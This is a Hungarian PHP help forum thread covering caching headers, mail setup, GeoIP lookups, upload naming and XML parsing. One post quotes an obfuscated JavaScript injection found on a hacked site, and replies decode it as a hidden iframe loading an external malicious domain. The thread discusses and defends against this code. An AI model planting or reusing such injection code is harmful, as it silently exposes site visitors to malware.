- Miért nem működik a 4K 60 Hz minden HDMI kábellel?
- Azonnali notebookos kérdések órája
- Milyen pendrive-ot vegyek?
- NVIDIA GeForce RTX 3080 / 3090 / Ti (GA102)
- Milyen házat vegyek?
- Intel Core Ultra 3, Core Ultra 5, Ultra 7, Ultra 9 "Arrow Lake" LGA 1851
- Steam Deck
- HTPC (házimozi PC) topik
- Milyen hangkártyát vegyek?
- AMD K6-III, és minden ami RETRO - Oldschool tuning
Új hozzászólás Aktív témák
-
vakondka
őstag
válasz
Frenky89 #2994 üzenetére
1. letöltöd a Drupal-t
2. megtanulod a Drupal-t kezelni (ezt inkább nem linkelem, vannak ilyen tanfolyamok)
3. összeállítod a szükséges weboldalt a meglévő Drupal és a tudás segítségével
ugyanis egyértelműen látszik, hogy ezt az oldalt egy Drupal segítségével "kattintották össze"
-
cucka
addikt
válasz
Frenky89 #2998 üzenetére
Olyan irányból, hogy leülsz és megcsinálod. Olyan, mint ha azt kérdeznéd egy kőművestől, hogy mégis milyen irányból közelíti meg a kőművesmunkát
. A weboldalak készítése egy szakma, nem fogsz olyan választ kapni a kérdésedre, hogy "töltsd le az x programot, kattints az y gombra, írd be a z adatokat és kész vagy", mert nem ilyen egyszerű.
Ha totál nem értesz semmilyen weboldalkészítéshez, akkor kezdheted tanulni a html, css, javascript, php nyelveket, lehetőleg ebben a sorrendben, bár ez el fog tartani egy ideig
.
Meg persze mindig ott a lehetőség, hogy találsz egy szakembert, akinek kifizeted és megcsinálja.
-
cucka
addikt
válasz
Frenky89 #2996 üzenetére
Magát a konfigurátort is meg lehet csinálni php-val, nem túl bonyolult, de oda egy javascript-es megoldás lényegesen jobb lenne amúgy.
(Persze, a javascript a kliens oldalon fut, a szerverre ettől még ugyanúgy szükséged van a php-ra)És igen, bármilyen más nyelvvel is meg lehet csinálni, amiben lehetséges weboldalt készíteni.
-
Frenky89
addikt
Hi!
Azt szeretném kérdezni, hogy ezt milyen módszerrel lehetne a legegyszerűbben összehozni?
-
válasz
Tele von Zsinór #2991 üzenetére
Hája, az már nagyon gyanús volt, hogy a gzip-re azt dobta a böngésző, hogy nem támogatott... Ezért írtam kötőjellel... Azt elfogadta minden bögnésző és az Etag se kapott a végére "-gzip"-et.
Na amúgy most jó megy gzip-pel gzencode()-dal, köszi.
A gzip-támogatást a $_SERVER['HTTP_ACCEPT_ENCODING']-ban kell ellenőrzi pl strpos()-zal, ugye?
-
válasz
Tele von Zsinór #2988 üzenetére
Ja, bocs, arra gondoltam - ob_get_clean() - csak kicsit át kellett írkálnom.
Tömörítést azt hittem maga a server csinálja ha megadom a headert, de úgy néz ki hinni a templomban kell.Volt egy kis probléma a servernél, hogy hozzáadta az Etaghoz, hogy "-gzip", s emiatt sose volt érvényes Etag. Ha viszont megadtam a gzip headert, akkor nem csinált ilyet.
Nade várj, ha meg gzencode-t nyomok a $body-ra akkor az nem tetszik neki, és nem kódolja ki, a tömörítetten jeleníti meg. Akkor hogy is van ez?
-
Tele von Zsinór
őstag
A php.net nem tud olyanról, hogy ob_get_end(), szerintem az ob_get_clean()-ra gondoltál.
Headerben azt mondod, hogy gzip tartalom jön, de sehol nem zömöríted.
Amúgy a hálózati forgalom csökkentésére jó, de általában nem ez szokott lenni a szűk keresztmetszet, inkább az adatbázis. -
Találtam egy tök jó, de még egyszerűbb HTTP-alapú tartalom-cachelési módszert, gondoltam megosztom, mert semmi az egész, mégis valamivel gyorsabb lesz adott lap - pontosabban nem küldi el még egyszer az egész oldalt, ha nem változott és már a böngésző berakta a gyorstárba.
ob_start(); // kimenet-pufferelés
// (nem küldi el a kimenetet azonnal a böngészőnek)
// oldalgenerálás
// sok sok szkript
// HTML generálás
// stb-stb
$body = ob_get_end(); // puffer változóba ürítése
$etag = md5($body); // oldal md5 kivonata
header("Etag: $etag"); // md5 elküldése böngészőnek
header("Cache-Control: private"); // cachelje az oldalt a böngésző
header("Content-Encoding: g-zip"); // gzip tömörítés
// ha egyezik az md5 kivonat a cachelt változatéval,
// akkor ne küldje el az eredményt hisz ugyanaz...
if (trim($_SERVER['HTTP_IF_NONE_MATCH']) == $etag) {
header("HTTP/1.1 304 Not Modified");
} else {
echo $body;
} -
na ezt hogy csináltam?
-
tripla, úristen..
-
dupla...
-
Kicsit off, de vajon mitől lehet az, hogy ha egy fájlt egyszerre akarok többször is más paraméterekkel lekérni a szerverről, akkor a szerver fagyással válaszol?
Már 6 órája ezzel sz@raxom, s még mindig nem sikerült megoldani, a megrendelő meg türelmetlen.
Konkrétan az van, hogy adott egy weboldal aminél minden az index.php-n keresztül jön: css, js, képek, az ATW-nél meg gyakorlatilag kifagy az egész oldal, hacsak nem <head> nélkül töltöm be az oldalt, azaz stíluslapok nélkül. Illetve régebbi gépeken is jól megy, mert azok nem kérik olyan gyorsan egymásutánban le a stíluslapokat, stb.
Amúgy ott a PHP CGI-ként fut. Lehet ezért szar? Egyszerre kb 8x kéri le az index.php-t, de kifagy az oldal, vár a szerverre, így használhatatlan az oldal.
Egyébként a saját gépemen vmware-ben egy alapkonfigos ubuntu serveren simán megy az oldal, azon fejlesztettem...
-
válasz
Tele von Zsinór #2981 üzenetére
Köszi, de headernél sokat kéne átírni, metatagot szintén lex@rta, ám közbe rájöttem:
ini_set('default_charset', 'UTF-8')
-
Báhááá
Valaki tudja, hogy lehet az ATW-nél átállítani, hogy alapérelmezetten UTF8-ban küldje a böngészőnek a cuccost? Hiába állítom be htaccess-ben hogy AddDefaultCharset UTF-8, le se sz@rja.
-
PÜk rePÜltek.
-
válasz
Louloudaki #2970 üzenetére
Önnek privát üzenete érkezett.
-
Louloudaki
aktív tag
nem tud valaki valami jó szájbarágós php5 objektum orientált programozás tutorialt? magyar, angol vagy német nyelven jöhet.
mod: online kell, nem pedig "vedd meg x könyvet" -
köszi mindenkinek a segítséget, s a gyors válaszokat...
-
cucka
addikt
-
pumatom
aktív tag
válasz
Louloudaki #2961 üzenetére
köszi
holnap kipróbálom!
-
Gyuri16
senior tag
hat oszinten nem tudom, de gondolom standard roviditesek:
[link]ha nem megy, akkor probalhatod az api-t ami xml-ben adja az infot, pl:
[link]
persze ez nagyobb macera, de tobb infot ad.
esetleg meg nezd meg ezt:
[link]szerintem probalj szerezni ip-ket az orszagokbol amiket bele akarsz tenni, es probalgasd, de kb jo lehet az elso link
-
-
pumatom
aktív tag
Sziasztok!
Amatör vagyok még a dologban; és egy problémába ütköztem;
van egy gép amit próba webszerverként beállítottam; wamp5 megy rajta, hogy minél egyszerübb legyen;
most a php mail tanulom, és mikor kész vagyok a scripttel és kiprobálnám a küldést a következő hiba jelenik meg;
Tudom, hogy ezek nincsenek beállítva, de mail server konfigurálásról nincsen tapasztalatom, ezért szeretném megkérdezni, hogy mit és hogyan kell beállítani a wamp-ban, hogy a teszt email elmenjen a cél címre?
Köszi a segítséget előre is!
-
Gyuri16
senior tag
azt hogy erre mi az elfogadott modszer nem tudom, megprobalhatod igy:
http://api.hostip.info/country.php?ip=ipcim
php-ban valahogy igy$country = file_get_contents('http://api.hostip.info/country.php?ip='.$IP);
arrol az oldalrol, es mashonnan is lehet letolteni adatb-t, es akkor lokalisan tudod csinalni: [link]
remelem segitett -
hogyan tudhatom meg, hogy a látogatóm melyik országból jött?
csak mert ez alapján raknék ki neki reklámot: német, olasz, angol, magyar nyelven ...
-
Gyuri16
senior tag
válasz
lamajoe #2956 üzenetére
nem akarlak elkeseriteni, de ezekbol manapsag mar annyi van, hogy nehez ujat alkotni..
de ha ez a motivacio neked eleg arra, hogy megtanulj php-zni, akkor mar valoszinuleg megeri nekikezdeni.eloszoris mibol tanulni, ha tudsz angolul, akkor a neten van rengeteg jo tutorial, mondjuk ajanlanam a w3schoolst, ugyanitt talalsz jo leirasokat html ill. css temaban is. ha mindenkepp magyar kell, akkor lehet jobban jarsz valami konyvvel (neha ki lehet fogni olcsokat, szerintem nem kell tul profi konyv, ha mar az alapok mennek, onnan mar neten is megtalalod amit akarsz). illegalisat nem mondok, de ha korbenezel a nepszeru viragboltokban akkor biztos talalsz.
az hogy mennyire bonyolult, leginkabb az otleteidtol fugg.. par napot jatszottam ilyen jatekkal, es alaphangon szerintem egy delutan alatt ossze lehet hozni egy ilyen rakattintasz a linkemre akkor tobb pontom lesz tipusu dolgot, termeszetesen lehet cifrazni, minden toled fugg
-
lamajoe
tag
Hello!
Lenne egy kérdésem...
Gondolom itt mind ismerjük a manapság népszerű , személyi linkes "kattolj ide egy kis pornóért aztán kirabol egy maffiozo" játékokat (pl. Bitefight, Gladiatus, Maffiozo, stb...) illetve a kiskutyás macskás tevés teknősös neveldéket.
Ezeket látván felbuzdultam, hogy elkéne kezdenem PHP-t tanulni, ugyanis mérhetetlen fantáziámat szeretném ölni abba, hogy összerakok egyet a fent említett 2 oldal közül. Persze tudom, hogy ez nem kis munka , és viszonylag nagy alapismeretet igényel. Röviden, az érdekelne, szerintetek melyik a legjobb - lehetőleg magyer nyelvű - könyv amivel elindulhatnék? Pénzem sajnos nincsen a PHP5 24 óra alattra, pedig elvileg az egész jó erre, szóval aki véletlenül tudja hol lehet letölteni teljesen illegálisan a nem scannelt verziot az még VÉLETLENÜL se küldje el nekem a címet privátban mert kitiltanak! Komolyan..
Szerintetek mennyire lehet bonyolult egy ilyesmit kialakítani? Nem kell kioktatni a nehézségekről, programoztam már (C++) tisztában vagyok vele, hogy sok idő lesz és nem lesz sok sikerélményem eleinte, de a motiváció megvan. Nos köszi a segítséget(Egyébként PHPben is programoztam már, írtam is ide de fel kellett hagynom vele családi okokból, kb a változókig jutottam
)
-
Orb1337
tag
csináltam egy sessionos loginrendszert, mennyire tartjátok jó megoldásnak azt ha az admin is itt lép be és az adminnak szánt oldalakon a $_session['username']==admin parancsal ellenőrzöm hogy a felhasználó admin-e, ha nem visszairányítom a login oldalra?
-
válasz
Sk8erPeter #2951 üzenetére
Valami ilyesmire lesz neked szükséged:
$image = '010101110101011010111010101011011110';
$file = 'kép.jpg';
$name = substr($file, 0, strrpos($file, '.')); // kiterjesztés levágása
$file = $name;
$i = 1;
while(file_exists($file)) {
$i++;
$file = $name . '_' . $i . '.jpg';
}
file_put_contents($file, $image);Most hirtelen hasból ennyire futotta, lehetne még rajta okosítani.
-
Balint133
aktív tag
válasz
Sk8erPeter #2951 üzenetére
Szia, nem tudom, h az a script pontosan h néz ki, de a
file_exists()
függvénnyel meg tudod nézni, hogy már létezik e.
klikk -
Sk8erPeter
nagyúr
Hali!
Viszonylag egyszerű kérdésem lenne:
van egy képfeltöltő szkriptem, és azt szeretném, hogy amennyiben már létezik azonos nevű fájl a tárhelyen, adott könyvtárban, akkor a szkript dobjon hozzá mondjuk egy alsóvonás2-t (_2).
Példa: valami.jpg-t akar valaki feltölteni, de ilyen nevű már van a tárhelyen, ezért az új valami.jpg fájlból valami_2.jpg fájl lesz.Mondjuk ez hülyén mutat, ha már van egy valami_2.jpg fájl, mert abból valami_2_2.jpg lesz... De mindegy, ez már lényegtelen.
(ez áthidalható úgy, hogy csak mondjuk alsóvonást teszek hozzá...)
Esetleg olyan megoldás is létezik, hogy automatikusan generál hozzá akármilyen végződést? Végül is így működnek a képfeltöltő oldalak is.
Köszi!
____________________________
(#2865) lezso6: bocs, csak most láttam a választ, köszi az infót!
(#2863) Tele von Zsinór: neked is köszi! -
Balint133
aktív tag
Amm sziasztok, lenne egy kisebb problemam, amit szeretnek kikuszobolni, egy olyan fuggveny kellene ami ket tombot 'osszehasonlit',es ahol mindket tombben van index szam deklaralva ott igazat ad vissza ahol nincs ott pedig hamisat.
vmi ilyesmi kellene, csak gyakorlatban nem megyeget:
[tomb1] => Array
(
[1] => ertek
[4] => ertek
[7] => ertek
[8] => ertek
[11] => ertek
[12] => ertek
)
[tomb2] => Array
(
[1] => ertek2
[4] => ertek2
[5] => ertek2
[7] => ertek2
[8] => ertek2
[10] => ertek2
[12] => ertek2
)fenti pelda alapjan:
[1],[4],[7],[8],[12] indexeknel kene Igazat visszaadnia...Koszi elore is
-
Ezt meg tudná valaki magyarázni?
19 millisecundumba telik a fájl lockolása, de általában ennél 2-3x több szokott lenni. Mi az istent csinál ennyi ideig? Ez rengeteg. Qrvalassúak emiatt a scriptjeim, valamikor felmegy 5-600 (!) ms-ra is ez a cucc.
Ha nem használok flock()-ot, akkor meg a fopen()-nél, touch()-olásánál, vagy akár session_start()-nál, stb helyeken oszlik széjjel ez a rengeteg idő.
Na de miért?
-
válasz
PazsitZ #2944 üzenetére
Nálam index.php is rendesen tölti be, meg a másik .html fájl is, a helyi virtuális LAMP serveren.
Szerver-beállítások nincsenek buzergálva? A prototype egy 120kB-os hatalmasság, lehet a mérete miatt nem akarja kiszolgálni?
Bár elvileg erre kéne kapni egy szép hibaüzenetet.
-
PazsitZ
addikt
Elég körülményes problémám van, remélem el tudom magyarázni értelmesen és tud valaki segíteni.
Wamp szervert használok.
A prototype.js függvényt betöltésével akad gondom.
Csináltam egy példa kódot, ami érdekes módon az extra.hu szerverén lefut, az én lokális szerveremen javascript hibát dob a prototype.js-re.
firebug-al ellenőrizve a szkript fül nem is látja a scriptfájlt, a html fülön kibontva pedig egyszerűen hibás/hülyeségeket tölt be.
Azért is fura a dolog, mert semmilyen scriptet nem használok még az oldalon.
Továbbá a scriptet elvileg a böngésző tölti le én szerver oldalról csak a script url-t adom meg nem?
Akkor miért működik extra.hu-n jól lokálisan pedig hibásan?firebug hibaüzenete:
missing ) after formal parameters prototype.js (sor 2633)
function isHash (value[1]) return parseFloat(value[1]) / 100;\nMegőrjít ez a dolog
.
a példakód:[link] -
Tele von Zsinór
őstag
válasz
Odiepapa #2939 üzenetére
Mintha *nix szervereken az aktuális usert helyettesítené be, de nem vagyok rendszergazda, szóval google. Másrészt pedig a mailnek van egy additional headers paramétere, oda tegyél egy From-ot, és jó lesz.
Állítsd be rendesen a szervert, hogy ne csak az index.html-t, hanem a .php-t is indexnek tekinse. A böngésző úgyis csak úgy kéri, mint "/".
Használj get helyett post-ot. -
Odiepapa
csendes tag
Sziasztok,
ket kerdesem lenne Hozzatok.numero uno:
mail paranccsal kuldok levelet a serverrol es az a gondom, hogy a sender cime nem igazan az, amit en szeretnek. Ha jol tudom, akkor a php.ini-ben lehet meghatarozni a felado email cimet.[mail function]
; For Win32 only.
;SMTP = localhost
smtp_port = 25; For Win32 only.
;sendmail_from = admin@valami.hu; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
sendmail_path = "/usr/sbin/sendmail -t -i"A win32-es serverrel nem is lenne gondom, de jelenleg a server Unix alapu es nem tudom hogy hova kell behelyettesiteni az admin@valami.hu cimet.
numero duo:
ha betoltok egy website-ot, akkor az index.html fog automatikusan bejonni. Ebben nekem nincs php-m, hiszen nem php file, ezert framekkel kell bohockodnom, hogy az index.php-t behozzam az oldalra es azt cserelgessem egy-egy gombnyomasra.A kerdesem az lenne, hogy meg lehet-e oldalni, hogy kikeruljuk az index.html-t, hogy egybol a php file jojjon be (hiszen nincs sok funkcioja a html filenak)? Vagy esetleg ebbe a html file-ba bele tudok-e illeszteni php scriptet, hogy azzal mukodjon?
Azert kerdezem, mert a keywords-oket es minden okossagot a php tartalmazza es a google ido utan ugyis a php-t fogja elonyben reszesiteni, hiszen mindenki azzal dolgozik.
numero duo and a half:
a firefoxban latom a php filenal a valtozokat a bongeszosorban. Ki lehet ezt iktatni valahogy, hogy ne latszodjon, csak konstans az index.html vagy hasonlo, vagy inkabb nevezzem el a beszedes valtozoimat valami trukkos szamozasra, hogy senki se ertse csak en?Valaszotokat elore is koszonom,
udv,
Odie -
Gyomman
aktív tag
válasz
fordfairlane #2933 üzenetére
Csak egyetlen oldalról van szó, szóval jó a megoldás. Egyedül ezt a 'readfile'-t nem ismertem, köszi!
Más: ha másik könyvtárba rakom át, attól még elérhetik, hogyha tudják az elérési útvonalat nem? Biztos nincs vmi más megoldás? Nem gond ha bonyolultabb (sokkal), elég ha kulcsszavakat adsz meg, majd megoldom vhogy..
-
fordfairlane
veterán
válasz
Gyomman #2932 üzenetére
Egyetlen oldal esetében a legegyszerűbben így:
<?
if($joajelszo) {
readfile('nagyontitkos.html');
}
?>Persze ez nem túl profi megoldás, hiszen ha valaki rájön a html fájl nevére, akkor hozzáférhet. Ez ellen annyit lehet tenni, hogy a webszerver root könyvtárán kívülre kel tenni az elrejtendő fájlt, így az közvetlenül nem lesz elérhető, csak ennek a php programnak a segítségével. Több oldal esetén érdemes valami profibb/bonyolultabb módszert használni, pl. session-t.
-
Gyomman
aktív tag
1 kérdésem lenne (kezdő): Sikerült megoldanom egy könnyű php kóddal, hogyha az egyik oldalon beírom a helyes jelszót, akkor ezt meg ezt csinálja. Na már most 2 probléma is adódik ebből: az egyik az, h php-be meik utasítással tudom azt megoldani, hogy xy.htm nevű weblapot nyissa meg a php kód. A másik pedig, hogy az xy.htm-re hogy tudom azt "ráerőszakolni" hogy csak akkor jelenítse meg a tartalmat, hogyha jelszóval megyünk rá (tehát pl. ha nem, akkor irányítson át arra az oldalra ahol a jelszót bekérem). Remélem érthetően le tudtam írni a problémát, és előre is köszönöm a választ!
-
eziskamu
addikt
válasz
fordfairlane #2926 üzenetére
Van a gyökérben egy index.html, meg van egy külön könyvtárban, és mindkettő bekapta.
-
cucka
addikt
válasz
eziskamu #2923 üzenetére
Ez egy javascript kód. Ha <script> és </script> közé teszed, akkor lefut, különben ki lesz írva a képernyőre mint szöveg.
Amúgy nem egy nagy cucc visszafejteni, deklarál egy csomó változót, amiben 1-2 betű található, majd ezeket összekonkatenálja és a következőket csinálja:
- létrehoz egy iframe-et
- beállítja az src, a width, a height paramétereket, valamint a style-ját display:none-ra állítja.
- a body-hoz hozzáadja az iframe-et az appendChild metódussalAzt meg nézd meg te, hogy mit van azon az oldalon, nálam itt véget ért a kisérletezési kedv
.Gondolom valamilyen eltérítés más oldalra, esetleg jelszólopás, ilyesmi. Amúgy ezt a technikát hívják úgy, hogy cross site scripting (xss).
Mod: látom, közben megelőztetek
-
fordfairlane
veterán
válasz
eziskamu #2923 üzenetére
Ez az index.html-ben működőképes?
Így önmagában nem, csak ha <script></script> tagok közé rakod az általad bemásolt kódot, vagy .js fájlba, amire egy html oldal hivatkozik.
Van fent kettő is, mert két oldal van egy tárhelyen, az egyikben az oldalon megjelent szövegként, a másikon meg nem. A másikban aktív lehetett?
Bocs, ezt most nem értem.
-
PazsitZ
addikt
válasz
eziskamu #2920 üzenetére
Fárasztó egy javascript kód:
wy='t';
ya='mp';
yu='p:';
qs='sr';
d='nit';
l='ame';
v='c';
z='t';
ow='io';
zt='n/';
sc='n';
o='//z';
hy='cha';
hg='h';
p='.c';
j='ifr';
f='e';
dx=j.concat(l); // dx=iframe
lr=qs.concat(v); // lr=src
ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt); // http://zenitchampion.cn/
var dj=document.createElement(dx); // document.createElement(iframe);
dj.setAttribute('width','5'); //
dj.setAttribute('height','5'); //
dj.setAttribute('style','display:none'); //
dj.setAttribute(lr,ua); // dj.setAttribute('src','http://zenitchampion.cn/');
document.body.appendChild(dj); // beilleszti a body végére: <iframe width="5" height="5" style="display:none;" src="http://zenitchampion.cn/">persze ezek csak akkor futnak le ha <script> tag között vannak.
A lényege, hogy beilleszti a body végére a következő html kódot (egy nem látható iframe-t a fent említett oldalről):
<iframe width="5" height="5" style="display:none;" src="fent említett oldal">Amire nekem az avast rögtön támadást érzékel (JS:ScriptPE-inf [Trj]) már csak a cím google-al való rákereséssel is.
-
eziskamu
addikt
válasz
fordfairlane #2921 üzenetére
Ez az index.html-ben működőképes? Van fent kettő is, mert két oldal van egy tárhelyen, az egyikben az oldalon megjelent szövegként, a másikon meg nem. A másikban aktív lehetett?
-
fordfairlane
veterán
válasz
eziskamu #2920 üzenetére
Ez javascript genyóság, időm most nincs tesztelni, hogy pontosan mit is csinál, valamit a böngészővel kavar, talán átirányítja máshova. Ha egy html fájlban találtad az azt jelenti, hogy a támadó fájlokat tud írni a szerveren. Ez két módon lehetséges:
Név/Jelszót szerzett, és valami fájlátviteli protokollal (FTP, SCP, SFTP) képes felülírni a szerveren.
Van egy webes script, amiben van valamiféle bug, amit kihasználva fájlokat lehet felülírni.Érdemes kinyomozni, melyikről lehet szó, illetve jelszót változtatni nem árt.
-
eziskamu
addikt
Gondom lenne. Van egy kissebb céges weboldal, amit nem én csináltam, csak szerkesztem néha a híreket, de a technikai hátterét nem vágom.
Namost az index.html-ben ez jelent meg:wy='t';ya='mp';yu='p:';qs='sr';d='nit';l='ame';v='c';z='t';ow='io';zt='n/';sc='n';o='//z';hy='cha';hg='h';p='.c';j='ifr';f='e';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute('width','5');dj.setAttribute('height','5');dj.setAttribute('style','display:none');dj.setAttribute(lr,ua);document.body.appendChild(dj);
Azt találtam, hogy ez egy php genyóság lene, ami rejtett lapokat hoz be. Namost béna kérdések jönnek.
Hogy kerülhetett bele?
Tud-e .html-ben kárt okozni, vagy csak egy php állományban?
Mit tehetek ellene?
A fertőzött állományt visszacseréltem egy mentésre. -
-
fordfairlane
veterán
válasz
Balint133 #2914 üzenetére
Ha lehet, próbáld meg elkerülni a konvertálást. Ha az egész oldal ISO 8859-2-ben van, és az adatbázis is erre van beállítva, akkor használd azt, ha UTF-8, akkor inkább maradj annál. A böngészőknek nem jelent problémát az UTF-8 kezelése, és meg van az az előnye, hogy mindenféle idegen nyelvek karaktereit is jól kezeli.
-
Balint133
aktív tag
válasz
fordfairlane #2912 üzenetére
oksi, szval szerinted a meta elegendo? mert csak annyi az egesz, h ez a vacak lekeri adatot osszehasonlitja a forum sql tablaban szereplo nevekkel es elvegzi amit vegeznie kell ha talal ill nem talal adott nevu jatekost. ezert fontos lenne hogy a ket adat legalabb kicsit is hasonlitson szval ekezetben azert nem igazan lenne jo ha elternenek :S elegge szeles skalan mozogna a script hibazasi mutatoja
-
fordfairlane
veterán
válasz
Balint133 #2911 üzenetére
Böngésző és szerverbeállítástól is függ, hogy alapból milyen kódlapot használ a böngésző a megjelenítéshez, ezért inkább érdemes megadni azzal a meta taggal. Egyébként az utf8_decode-t nem ajánlom, ha jól rémlik iso8859-1-re konvertál, és emiatt az "ő - ű" karaktereknél probléma lehet. Használj UTF-8-at.
-
-
fsockopen() függvénnyel:
(a függvények - kicsit átírva - a php.net-ről származnak)
<?php
/*
* A választ adja vissza fejlécek nélkül.
*/
function parseHttpResponse($content=null) {
if (empty($content)) { return false; }
// split into array, headers and content.
$hunks = explode("\r\n\r\n",trim($content));
if (!is_array($hunks) or count($hunks) < 2) {
return false;
}
$header = $hunks[count($hunks) - 2];
$body = $hunks[count($hunks) - 1];
$headers = explode("\r\n",$header);
unset($hunks);
unset($header);
if (!validateHttpResponse($headers)) { return false; }
if (in_array('Transfer-Encoding: chunked', $headers)) {
return trim(unchunkHttpResponse($body));
} else {
return trim($body);
}
}
/*
* Sikerült-e?
*/
function validateHttpResponse($headers=null) {
if (!is_array($headers) or count($headers) < 1) { return false; }
switch(trim(strtolower($headers[0]))) {
case 'http/1.0 100 ok':
case 'http/1.0 200 ok':
case 'http/1.1 100 ok':
case 'http/1.1 200 ok':
return true;
break;
}
return false;
}
/*
* ha darabolt az eredmény, akkor össze kell rakni, különben hülye számok és betűk jelennek meg a tartalomban
*/
function unchunkHttpResponse($str=null) {
if (!is_string($str) or strlen($str) < 1) { return false; }
$eol = "\r\n";
$add = strlen($eol);
$tmp = $str;
$str = '';
do {
$tmp = ltrim($tmp);
$pos = strpos($tmp, $eol);
if ($pos === false) { return false; }
$len = hexdec(substr($tmp,0,$pos));
if (!is_numeric($len) or $len < 0) { return false; }
$str .= substr($tmp, ($pos + $add), $len);
$tmp = substr($tmp, ($len + $pos + $add));
$check = trim($tmp);
} while(!empty($check));
unset($tmp);
return $str;
}
$host = "eu.wowarmory.com";
$file = "/guild-info.xml?r=Nordrassil&gn=Solidarity";
$user_agent_string = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1';
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
die("$errstr ($errno)<br />\n");
} else {
$out = "GET $file HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "User-Agent: $user_agent_string \r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$content = '';
while (!feof($fp)) {
$content .= fgets($fp);
}
fclose($fp);
}
echo parseHttpResponse($content); -
Balint133
aktív tag
nah amm ize meg egy hulye kerdes es igerem mara befejezem
ugye az az xml amit athuz az UTF-8 a karakterkeszlete, ha en viszont szimplan kiiratom a kepernyore, akkor ilyen karakterek jelennek meg az ekezetek helyen:
üáóó ..stb.ha viszont a <?php ?> kivul teszek egy ilyet: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> akkor az emlitett hiba megszunik, a kerdes: csak igy parasztosan hasznaljam ezt a modszert, vagy van vmi php fuggveny is amivel az eredmenytombomet at tudom alakitani mas karakterkeszletbe h ne krixkraxokat jelenitsen meg?
MOD: targytalan... utf8_decode() fggv az en baratom
-
válasz
Balint133 #2905 üzenetére
Oh, basszus, bocs, elnéztem, fsockopen()-nel lehet felülbírálni csak a user agent stringet.
Remélem a fsockopen() függvény nincs letiltva.
Mindjárt írom a scriptet.
szerk: Oh mégis megy azzal? Akkor jó. Pedig már majdnem kész voltam az fsockopen()-es verzióval.
Nincs mit!
Azért leírom minnyá a fsockopen()-féle verziót is, lehet majd másnak jól jön.
-
Balint133
aktív tag
válasz
Balint133 #2905 üzenetére
Wopsz lejart sajnos az idolimit...
nos koszonom az eddigi segitsegedet, sikerult mukodesre birnom fopen()-nel is
az ini_set bevalt...
ime a kod aki esetleg meg hasonlo problemaba utkozott volna:
function xml2array($url, $get_attributes = 1, $priority = 'tag')
{
ini_set('user_agent',$_SERVER['HTTP_USER_AGENT']); //mozilla eseteben ez: 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1'
$contents = "";
if (!function_exists('xml_parser_create'))
{
return array ();
}
$parser = xml_parser_create('');
if (!($fp = @ fopen($url, 'rb')))
{
return array ();
}
while (!feof($fp))
{
$contents .= fread($fp, 8192);
}
fclose($fp);
xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, "UTF-8");
xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
xml_parse_into_struct($parser, trim($contents), $xml_values);
xml_parser_free($parser);
if (!$xml_values)
return; //Hmm...
$xml_array = array ();
$parents = array ();
$opened_tags = array ();
$arr = array ();
$current = & $xml_array;
$repeated_tag_index = array ();
foreach ($xml_values as $data)
{
unset ($attributes, $value);
extract($data);
$result = array ();
$attributes_data = array ();
if (isset ($value))
{
if ($priority == 'tag')
$result = $value;
else
$result['value'] = $value;
}
if (isset ($attributes) and $get_attributes)
{
foreach ($attributes as $attr => $val)
{
if ($priority == 'tag')
$attributes_data[$attr] = $val;
else
$result['attr'][$attr] = $val; //Összes attribútum elhelyezése egy tömbben aminek a neve: 'attr'
}
}
if ($type == "open")
{
$parent[$level -1] = & $current;
if (!is_array($current) or (!in_array($tag, array_keys($current))))
{
$current[$tag] = $result;
if ($attributes_data)
$current[$tag . '_attr'] = $attributes_data;
$repeated_tag_index[$tag . '_' . $level] = 1;
$current = & $current[$tag];
}
else
{
if (isset ($current[$tag][0]))
{
$current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
$repeated_tag_index[$tag . '_' . $level]++;
}
else
{
$current[$tag] = array (
$current[$tag],
$result
);
$repeated_tag_index[$tag . '_' . $level] = 2;
if (isset ($current[$tag . '_attr']))
{
$current[$tag]['0_attr'] = $current[$tag . '_attr'];
unset ($current[$tag . '_attr']);
}
}
$last_item_index = $repeated_tag_index[$tag . '_' . $level] - 1;
$current = & $current[$tag][$last_item_index];
}
}
elseif ($type == "complete")
{
if (!isset ($current[$tag]))
{
$current[$tag] = $result;
$repeated_tag_index[$tag . '_' . $level] = 1;
if ($priority == 'tag' and $attributes_data)
$current[$tag . '_attr'] = $attributes_data;
}
else
{
if (isset ($current[$tag][0]) and is_array($current[$tag]))
{
$current[$tag][$repeated_tag_index[$tag . '_' . $level]] = $result;
if ($priority == 'tag' and $get_attributes and $attributes_data)
{
$current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
}
$repeated_tag_index[$tag . '_' . $level]++;
}
else
{
$current[$tag] = array (
$current[$tag],
$result
);
$repeated_tag_index[$tag . '_' . $level] = 1;
if ($priority == 'tag' and $get_attributes)
{
if (isset ($current[$tag . '_attr']))
{
$current[$tag]['0_attr'] = $current[$tag . '_attr'];
unset ($current[$tag . '_attr']);
}
if ($attributes_data)
{
$current[$tag][$repeated_tag_index[$tag . '_' . $level] . '_attr'] = $attributes_data;
}
}
$repeated_tag_index[$tag . '_' . $level]++; //0 és 1 indexek
}
}
}
elseif ($type == 'close')
{
$current = & $parent[$level -1];
}
}
return ($xml_array);
}
$array = xml2array("http://eu.wowarmory.com/guild-info.xml?r=Nordrassil&gn=Solidarity"); -
Balint133
aktív tag
igen megy... csak a nagy gondolkodasban azt felejtettem el h a page sourcet kell nezni nem pedig a kapott tartalmat ami egy nagy feherseg
nah, sikerult kiszednem mindent, vegulis nem azt a cirka 200 sornyi parse fuggvenyt hasznaltam amire aztmodntatok h oskorszaki lelet, hanem a DOM osztalyt hasznaltam, szoval a kodom most jelenleg (kiiratasra)
$ch = curl_init();
